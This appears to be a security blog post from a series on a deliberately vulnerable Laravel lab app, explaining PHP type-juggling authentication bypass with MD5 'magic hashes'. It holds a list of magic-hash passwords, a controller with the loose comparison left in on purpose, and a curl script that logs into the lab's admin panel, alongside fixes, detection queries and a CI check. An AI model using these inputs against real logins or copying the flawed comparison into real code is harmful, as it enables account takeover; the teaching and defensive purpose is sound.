PHP Type Juggling: Bypassing Laravel Authentication with == vs ===
PHP's == operator sees "0e830400451993494058024219903391"
and "0e462097431906509019562988736854" as the same value. Why? Because
both look like scientific notation: 0 × 10something = 0.0.
MD5 hashes regularly start with 0e followed by digits. If your stored
password hash matches that pattern, a publicly documented one-word input
logs in as that user. No brute force. No cracking. One HTTP request.
The fix is one function call: swap == for hash_equals()
or use Hash::check(). That's it. One function.
Hash::make() produces
bcrypt ($2y$12$…) or Argon2. Neither can produce a
0e-prefixed hash. Hash::check() calls
password_verify() which is constant-time and immune to type juggling.
But here's the catch: this vulnerability keeps resurfacing in Laravel codebases, specifically in custom auth code that sidesteps the framework. Legacy migration endpoints. Tutorial-sourced controllers. Partner API integrations. Anywhere a developer wrote
md5($input) == $stored
instead of Hash::check(). The default stack is safe. Your custom
code might not be.
Where This Fits in the Kill Chain
Type juggling is the alternate entry point into ArtisanBreach. If
the mass assignment vector from Post 2 is patched (registration disabled, validation
tightened), this is the backup. A forgotten /contributor-login endpoint
from a 2019 migration, still running MD5 + ==. The main auth system?
Argon2id. MFA. Fortify. Completely locked down. Didn't matter. The compatibility
shim from seven years ago was the door.
Vulnerability Classification
| CWE-287 | Improper Authentication, the comparison doesn't correctly verify who you claim to be |
|---|---|
| CWE-916 | Weak password hashing, MD5 is a general-purpose digest with no cost factor. GPU cracking is trivial once you have the database. It should never be used for passwords. |
| OWASP | A07:2021, Identification and Authentication Failures |
| Historical precedent |
The vBulletin type juggling bypass (2014) is the most
widely cited example: millions of forum accounts, instant bypass, no
cracking, all through a six-character "password" from a public list.
Though widely referenced in security blogs, it does not map to an
officially assigned CVE. The mechanism is the same: md5()
+ == + magic hash.
|
| Who's at risk |
Any PHP version, this is language-level behaviour, not a version-specific
bug. Laravel 12's default auth is safe. The danger lives in
custom auth code, legacy migration endpoints, and any
== comparison on hash-derived values
(tokens, webhook signatures, API keys).
|
| Exploit complexity | Trivial. One HTTP POST with a password from a public list. No tools beyond curl. |
The Two Equals Signs That Will Betray You
Every PHP developer knows == is "loose" and === is
"strict." Most have never watched what == actually does
when it encounters two strings that look like numbers. That gap is where this
entire attack class lives.
== Loose equality, DANGEROUSPHP inspects both values and coerces them to a common type before comparing. A string that looks like scientific notation becomes a float first.
// ALL of these are TRUE under ==
"1" == 1 // string → int
"01" == "1" // numeric strings
"1e0" == "1" // scientific notation
"0e99" == "0e12" // BOTH → 0.0 → TRUE
"" == false // empty → falsy
"0" == false // "0" → 0 → falsy
=== Strict equality, SAFEPHP compares both value and type with zero coercion. Different type or different string = false.
// ALL of these are FALSE under ===
"1" === 1 // string ≠ int
"01" === "1" // different strings
"1e0" === "1" // different strings
"0e99" === "0e12" // different strings ✓
"" === false // string ≠ bool
"0" === false // string ≠ bool
The dangerous case is "0e99" == "0e12". PHP reads both strings as
scientific notation: 0 × 1099 and
0 × 1012. Both evaluate to the float 0.0.
Two completely different strings. One loose comparison. They are "equal."
This is not a corner case. This is the documented behaviour of PHP's
type coercion system, and it has been since PHP 4.
"0e830400451993494058024219903391" == "0e462097431906509019562988736854"
evaluates to true. These strings have zero digits in
common after the 0e prefix. PHP sees both as "zero times
ten to the power of something" and says: yep, those are the same number. This
is not a bug. This is the language working as intended. And it has been the
source of authentication bypasses in production software for over a decade.
How This Breaks Password Comparison
The attack requires finding any plaintext whose MD5 (or SHA1) hash starts with
0e followed exclusively by digits. These are called
magic hashes. Someone already did the work of finding them.
Here they are:
| Algorithm | You send this as your "password" | Its hash | PHP sees |
|---|---|---|---|
| MD5 | 240610708 | 0e462097431906509019562988736854 | 0.0 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 | 0.0 |
| MD5 | 0e215962017 | 0e291242476940776845150308577824 | 0.0 |
| MD5 | aabg7XSs | 0e087386482136013740957780965295 | 0.0 |
| SHA1 | aaroZmOk | 0e66507019969427134894567494305185566735 | 0.0 |
| SHA1 | aaK1STfY | 0e76658526655756207688271159624026011393 | 0.0 |
If any account in your database has a stored hash matching
/^0e\d+$/, every single one of those inputs above will log you in
as that user. Any of them. All of them. They all produce the same float.
This is not a brute force. It's a lookup table.
Why PHP Still Ships This Footgun in 2026
PHP 8.0 introduced the "Saner string to number comparisons" RFC,
which changed how non-numeric strings compare against integers, for example,
0 == "abc" is now false. But this was a
silent behaviour change, not a warning, and it only affects
non-numeric-string vs. number comparisons. String-to-string comparisons of the
form "0e99" == "0e12", where both sides look like numeric strings, were left untouched. They still return true in PHP 8.3, the
version this application runs on.
The PHP internals team has declined to change this specific behaviour because
it would break backwards compatibility for code that (knowingly or not) depends
on numeric string coercion. Let's be clear about what that means:
the PHP project has decided that preserving the ability to write
"0e99" == "0e12" and get true is more important than
closing a known authentication bypass vector that has been actively exploited
since at least 2014. Every other major language either rejects this
comparison or requires explicit numeric conversion. PHP chooses to guess.
md5($input) == $stored as "good enough" for
internal tools. The common thread is PHP's type coercion. The language could
fix it. It hasn't. So you have to.
Three Ways This Ends Up in Your Laravel 12 App
The default auth stack is safe. So why does this keep happening? Because real codebases accumulate technical debt, and PHP's type system doesn't discriminate between 2011 procedural code and 2026 Laravel:
Scenario 1"We'll fix the legacy endpoint next sprint"
A company migrates a procedural PHP app to Laravel. The old system used MD5 and
==. To avoid forcing thousands of users through a password reset on
launch day, the team adds a /contributor-login endpoint that runs the
old comparison side-by-side with bcrypt. The code is copied almost verbatim from
2011. The sprint to "fix this properly" never arrives. The endpoint survives two
framework upgrades and three security audits, none of which checked the
compatibility layer.
// Copied from the 2011 codebase. Running in Laravel 12. Still vulnerable.
if (md5($_POST['password']) == $row['password']) {
// "We'll clean this up in the next sprint", 2019, 2021, 2023, 2025...
}
Scenario 2
The 2016 Stack Overflow Answer
A developer needs quick token-based auth for an internal dashboard. They find a
2016 tutorial showing a custom login controller with md5() and
==. It works in testing. It ships to production. Three years later,
the "internal tool" is used by every employee and exposed on a public-facing
subdomain. The comparison operator was never reviewed because "it's just the
internal dashboard."
// "Simple auth for our internal dashboard", now exposed, still md5 + ==
if (md5($request->api_key) == $storedHash) {
return response()->json(['status' => 'ok']);
}
Scenario 3
Webhook Signatures and API Tokens
This isn't only about passwords. Anywhere a hash-derived value is compared
with == is a potential issue. Custom webhook signature
verification, API token validation, password reset tokens. A SHA1 HMAC
can produce magic hashes. Some older payment providers and webhook
services still use SHA1. If your verification code uses ==, a forged
request with a magic-hash-producing header can slip through.
// Custom Stripe webhook handler, vulnerable to SHA1 magic hash forgery
$signature = hash_hmac('sha1', $payload, config('services.stripe.secret'));
if ($signature == $request->header('X-Stripe-Signature')) {
// 0e... == 0e... could let a forged webhook through
processPayment($payload);
}
/contributor-login, a route created during a 2019 migration
that nobody remembered existed. MD5 hashes. Loose comparison. The user still had
the Administrator role from before the migration. One POST request.
Password: "QNKCDZO". Full admin access. The real password was never
discovered because it was never needed.
The Vulnerable Code in ArtisanBreach
This is the actual code running right now. Not pseudocode. Not a hypothetical. The controller, the database, the seeder, all of it is live and exploitable:
1. What's in the database
-- The legacy_password column stores raw MD5 hashes, not bcrypt.
-- This account has the Administrator role. Never demoted after migration.
SELECT email, legacy_password, role_id FROM users
WHERE email = 'contributor@artisanbreach.com';
-- email | legacy_password | role_id
-- contributor@artisanbreach.com | 0e462097431906509019562988736854 | 1 (Admin)
-- ↑↑ starts with 0e, all digits → MAGIC HASH
2. The controller (verified, live in the repo)
// app/Http/Controllers/Auth/ContributorLoginController.php
// This is the ACTUAL code. Not a recreation.
public function login(Request $request): \Illuminate\Http\RedirectResponse
{
$request->validate([
'email' => ['required', 'email'],
'password' => ['required'],
]);
$user = User::where('email', $request->email)
->whereNotNull('legacy_password')
->first();
// Two problems in one comparison:
// 1. md5() - no cost factor, trivially GPU-crackable if DB leaks
// 2. == - loose comparison, type juggling enabled
// This is the one that makes the bypass work.
if ($user && md5($request->password) == $user->legacy_password) {
Auth::login($user); // ← full Laravel session
return redirect()->intended('/admin'); // ← straight to admin panel
}
return back()->withErrors(['email' => 'These credentials do not match our contributor records.']);
}
3. Prove it in tinker (run this yourself)
// php artisan tinker
$stored = '0e462097431906509019562988736854'; // md5("240610708"), the stored hash
$attempt = md5('QNKCDZO'); // "0e830400451993494058024219903391"
var_dump($attempt == $stored); // bool(true) ← AUTH BYPASSED
var_dump($attempt === $stored); // bool(false) ← strict is correct
var_dump(hash_equals($stored, $attempt)); // bool(false) ← also correct
// The == is the problem. It always has been.
The Attack: One Request, Full Admin
curl one-liner
# Step 1: Grab CSRF token from the login form
TOKEN=$(curl -s -c cookies.txt http://localhost:8084/contributor-login \
| grep -oP 'name="_token" value="\K[^"]*')
# Step 2: Submit the magic hash password
curl -s -X POST http://localhost:8084/contributor-login \
-H "Content-Type: application/x-www-form-urlencoded" \
-b cookies.txt -c cookies.txt \
--data-urlencode "_token=$TOKEN" \
--data-urlencode "email=contributor@artisanbreach.com" \
--data-urlencode "password=QNKCDZO" \
-w "\nHTTP %{http_code} → %{redirect_url}\n"
# Output: HTTP 302 → http://localhost:8084/admin
# Step 3: Confirm you're in
curl -s -b cookies.txt http://localhost:8084/admin | head -20
# You're looking at the admin dashboard. Logged in as Sarah Okonkwo.
# Role: Administrator. Real password: never discovered.
What You Just Lost
/^0e[0-9]+$/)0e-prefixed stored hash.- Full auth bypass on any account with a
0e-prefixed stored hash - No brute force, magic hash inputs are a static, publicly documented list
- No account creation needed, exploits existing accounts
- Works even after mass assignment and registration exploits are patched
- Bypasses rate limiting, one request, not thousands
- Admin accounts seeded with known-plaintext passwords during migration
- Accounts that existed before a bcrypt migration, still carrying legacy hashes
- Any user on a legacy/login compatibility endpoint
- Detection requires scanning the
userstable for/^0e\d+$/patterns - Most code review tools won't flag
==nearmd5()as a critical
The Fix
Fix 1: Use Hash::check()
// This single function call replaces the entire vulnerable comparison.
// Hash::check() calls password_verify() internally, strict, constant-time, bcrypt/Argon2 only.
if ($user && Hash::check($request->password, $user->password)) {
Auth::login($user);
return redirect('/admin');
}
$2y$. PHP will never coerce a
dollar-sign-prefixed string to a number. Argon2 hashes start with
$argon2. Same protection. password_verify() also does
its own constant-time comparison internally, which eliminates timing attacks as a
bonus. Switching to Hash::check() fixes the type juggling problem
and the weak hashing problem in one change.
Fix 2: hash_equals() while migrating to bcrypt
// Stops type juggling AND timing attacks. Use this if you can't
// migrate every account to bcrypt immediately.
if ($user && hash_equals($user->legacy_password, md5($request->password))) {
Auth::login($user);
return redirect('/admin');
}
// hash_equals() reads the full length of both strings before returning.
// No short-circuit. No timing leak. No type coercion.
Recommended
Fix 3: Transparent bcrypt upgrade on login
// Upgrade MD5 → bcrypt silently as users log in.
// No forced password reset. Database heals itself over time.
public function login(Request $request): RedirectResponse
{
$user = User::where('email', $request->email)->first();
// Interim path: still handling legacy MD5 accounts
if ($user && $user->legacy_password
&& hash_equals($user->legacy_password, md5($request->password))) {
// Re-hash to bcrypt immediately. Clear the MD5 column.
// Next login uses Hash::check() on the bcrypt hash.
$user->update([
'password' => Hash::make($request->password),
'legacy_password' => null,
]);
Auth::login($user);
return redirect('/admin');
}
// Standard path: bcrypt/Argon2 via Hash::check()
if ($user && Hash::check($request->password, $user->password)) {
Auth::login($user);
return redirect('/admin');
}
return back()->withErrors(['email' => 'Authentication failed.']);
}
The Broader Risk: == Beyond Passwords
Even if your password comparisons are all Hash::check(), your app may
still have dangerous == comparisons elsewhere. These three are the
most common:
| Context | Vulnerable pattern | Safe replacement |
|---|---|---|
| Webhook signature | $sig == $request->header('X-Hub-Sig') |
hash_equals($sig, $header) |
| API token validation | md5($token) == $stored |
Hash::check() or hash_equals() |
| Password reset token | $request->token == $record->token |
hash_equals($record->token, $request->token) |
| Two-factor code | $request->code == $stored_code |
Constant-time OTP library. Never raw ==. |
=== prevents type juggling, plain string comparison leaks
information through timing: it short-circuits on the first mismatched character.
An attacker measuring response times can reconstruct a secret one character at a
time. hash_equals() eliminates this by reading both strings in full
before returning. Use it for every security-sensitive comparison. No
exceptions. No "it's just an internal tool."
Finding It Before Someone Else Does
1. Grep for loose comparisons near hash functions
grep -rn 'md5\|sha1\|crypt\|hash(' app/ | grep '[^=!]==[^=]'
# Every match is a candidate for review. === is fine. == is not.
2. Find vulnerable hashes already in your database
-- Any stored hash that matches the magic hash pattern
SELECT id, email, password
FROM users
WHERE password REGEXP '^0e[0-9]+$';
-- Check legacy columns too, they're the most likely offenders
SELECT id, email, legacy_password
FROM users
WHERE legacy_password REGEXP '^0e[0-9]+$';
3. Tinker one-liner for a live audit
php artisan tinker --execute "
\$vulnerable = \App\Models\User::whereRaw(\"password REGEXP '^0e[0-9]+\$'\")
->orWhereRaw(\"legacy_password REGEXP '^0e[0-9]+\$'\")
->get(['id','email']);
\$vulnerable->each(fn(\$u) => print(\$u->email . PHP_EOL));
echo 'Vulnerable accounts: ' . \$vulnerable->count() . PHP_EOL;
"
Lock It Out of CI/CD
Finding a vulnerability once is useful. Preventing it from coming back when someone copy-pastes a legacy login controller during the next migration is better. A lightweight CI check catches most of these patterns before they hit production:
# .github/workflows/security.yml
- name: Detect dangerous hash comparisons
run: |
! grep -R "==" app/ | grep -E "md5|sha1|hash\("
# Fails the build if any == comparison near a hash function is found
Not a replacement for Semgrep or CodeQL, but a fast, cheap safety net that catches
the most common pattern. Combine with a custom Semgrep rule that flags any
== operator whose operands involve md5(),
sha1(), or hash().
Remediation Checklist
md5()/sha1() password comparisons with Hash::check(). This fixes type juggling AND weak hashing in one change.
== hash comparisons with hash_equals() as an interim fix while migrating to bcrypt.
0e-prefixed stored hash. No exceptions.
$this->post('/contributor-login', ['email' => $email, 'password' => 'QNKCDZO'])->assertSessionHasErrors('email'); $this->assertGuest();. If the magic hash input ever logs in successfully, your auth is broken.
== comparison on tokens, signatures, and codes across the entire codebase. Replace with hash_equals().
config/hashing.php. Laravel 12 defaults to cost 12 out of the box, but older projects or custom configs may have a lower value. If the file is absent, publish it with php artisan config:publish hashing. Higher cost = slower GPU cracking if the database ever leaks.
The vBulletin Precedent: A Well-Known Cautionary Tale
vBulletin powered a huge slice of the internet's forum infrastructure from the early
2000s through the mid-2010s. Passwords stored as MD5, compared with ==.
Standard practice at the time. Nobody thought twice about it.
When magic hash tables were published in 2014, vBulletin became the poster child for this vulnerability class: millions of forum accounts across thousands of installations were vulnerable to instant authentication bypass. No brute force. No rainbow tables. Submit a publicly known six-character string. You're in. This story has been widely circulated in security research circles ever since, though it was never assigned a dedicated CVE for the type-juggling mechanism specifically, which is itself a reflection of how PHP's type coercion normalises this vulnerability class.
The fix required two changes that could not be decoupled:
- Change the comparison to
===orhash_equals(), stops active exploitation immediately. - Rehash all passwords to bcrypt, closes the window permanently. Without this, you're still sitting on a database of MD5 hashes that are trivially GPU-crackable once the database leaks. Fixing only the comparison operator leaves CWE-916 wide open.
That was 2014. Over a decade later, the same vulnerability keeps
appearing in newly written PHP code. Not because developers don't know about it, because legacy compatibility endpoints, Stack Overflow tutorials, and
"temporary" migration shims all converge on the same pattern:
md5($input) == $stored. The language didn't fix it. The framework
can't fix code that sidesteps it. Only you can.
The Bottom Line
Laravel 12 solves this problem completely, for the code you write using its
auth system. Hash::make() and Hash::check() ship in every
install. The framework did the work. The danger is in the code that goes around it.
Legacy migrations. Copied tutorial code. "Temporary" compatibility shims from 2019 that are still running in 2026. Each one is a potential reintroduction of a vulnerability the framework already solved. The pattern to internalize isn't "avoid MD5." It's simpler than that:
Every security-sensitive comparison uses Hash::check() for passwords
and hash_equals() for everything else. No exceptions. No "it's just
internal." No "we'll fix it next sprint." If you see == anywhere near
a hash function, treat it as a bug. Because in PHP, it is one.
The type juggling exploit only fires for inputs no legitimate user would ever submit. But those inputs are publicly documented, six characters long, and take one HTTP request to test. The fix is one function call. The cost of not fixing it is a known bypass on every affected account in your database, including the ones with the Administrator role that nobody remembered to demote after the migration.